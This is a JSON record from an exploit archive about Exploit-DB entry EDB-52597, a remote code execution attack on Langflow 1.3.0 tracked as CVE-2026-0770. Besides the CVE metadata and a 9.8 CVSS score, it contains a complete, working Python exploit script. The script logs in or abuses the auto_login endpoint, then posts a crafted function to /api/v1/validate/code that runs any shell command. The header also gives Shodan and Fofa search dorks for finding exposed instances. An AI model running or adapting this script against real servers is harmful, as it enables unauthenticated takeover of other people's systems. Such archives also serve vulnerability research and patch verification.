{"exploit":{"id":"EDB-52597","name":"Langflow 1.3.0 - Remote Code Execution (RCE) (2)","description":"Langflow 1.3.0 - Remote Code Execution (RCE) (2)","cves":["CVE-2026-0770"],"author":"Diamorphine","published":"2026-05-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52597","path":"exploits/multiple/webapps/52597.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52597.py","vulnerabilities":[{"id":"CVE-2026-0770","state":"PUBLISHED","title":"Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0770","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"zdi","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0770"},"updatedAt":"2026-07-22T03:55:44.396Z","retrievedAt":"2026-11-25T16:15:43.331Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52597.png?v=2","url":"https://exploitbin.com/exploits/EDB-52597","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52597/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52597/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Langflow  1.3.0 - Remote Code Execution\n# Fofa-dork: title=\"Langflow\"\n# Shodan-dork: title:\"Langflow\"\n# Date: 23-05-2026\n# Exploit Author: Diamorphine\n# Venodor Homepage: https://www.langflow.org/\n# Software Link: https://github.com/langflow-ai/langflow\n# Version: 1.2.0\n# Tested on: Debian\n# CVE : CVE-2026-0770\n# Description:  Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.\n# Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND]\n\n\nimport httpx\nimport asyncio\nimport subprocess\nimport json\nimport sys\nimport argparse\n\n\ndef auth(host, username, password):\n    with httpx.Client(verify=False) as client:\n        data = {\n            'username': username,\n            'password': password\n        }\n        r = client.post(url=f'http://{host}:7860/api/v1/login', data=data)\n        res = r.json()\n        access_token = res[\"access_token\"]\n\n    return access_token\n\nasync def exec_auth(host, username, password, cmd):\n    async with httpx.AsyncClient(verify=False) as client:\n        headers = {\n            'Authorization': f'Bearare {auth(host, username, password)}'\n        }\n\n        data = {\n            \"code\":\"\\ndef exploit(\\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\\\"{r.stdout}{r.stderr}\\\")) )(\\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\\n    )\\n):\\n    pass\\n\" % cmd\n        }\n\n        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)\n        r_out = r.text\n        output = json.loads(r_out)\n        value = output['function']\n        try:\n            print(value['errors'][0])\n        except IndexError:\n            print(\"Index out of range\")\n\nasync def exec_without_auth(host, cmd):\n    async with httpx.AsyncClient(verify=False) as client:\n        req = await client.get(url=f'http://{host}:7860/api/v1/auto_login')\n        res = req.json()\n        access_token = res[\"access_token\"]\n        headers = {\n            'Authorization': f'Bearare {access_token}'\n        }\n\n        data = {\n            \"code\":\"\\ndef exploit(\\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\\\"{r.stdout}{r.stderr}\\\")) )(\\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\\n    )\\n):\\n    pass\\n\" % cmd\n        }\n\n        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)\n        r_out = r.text\n        output = json.loads(r_out)\n        value = output['function']\n        try:\n            print(value['errors'][0])\n        except IndexError:\n            print(\"Index out of range\")\n\nparser = argparse.ArgumentParser(description=\"Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow\")\nparser.add_argument('-u', '--host', required=True, help=\"Target host, e.g 127.0.0.1\")\nparser.add_argument('-l', '--login', help=\"Username for login, e.g user (If auto login not enabled)\")\nparser.add_argument('-p', '--password', help=\"Password for login, e.g password (If auto login not enabled)\")\nparser.add_argument('-c', '--command', default='id', help=\"Command for execute, e.g id, default: id\")\n\nargs = parser.parse_args()\n\nif args.login and args.password:\n    asyncio.run(exec_auth(args.host, args.login, args.password, args.command))\nelse:\n    asyncio.run(exec_without_auth(args.host, args.command))","sha256":"7200a79416c3b740154a04fb7148487dc67e0b41ec2f160bedf1b62ed19d2871","bytes":3536,"fetchedAt":"2026-11-26T08:59:32.790Z","encoding":"utf-8 (display only; download retains original bytes)"}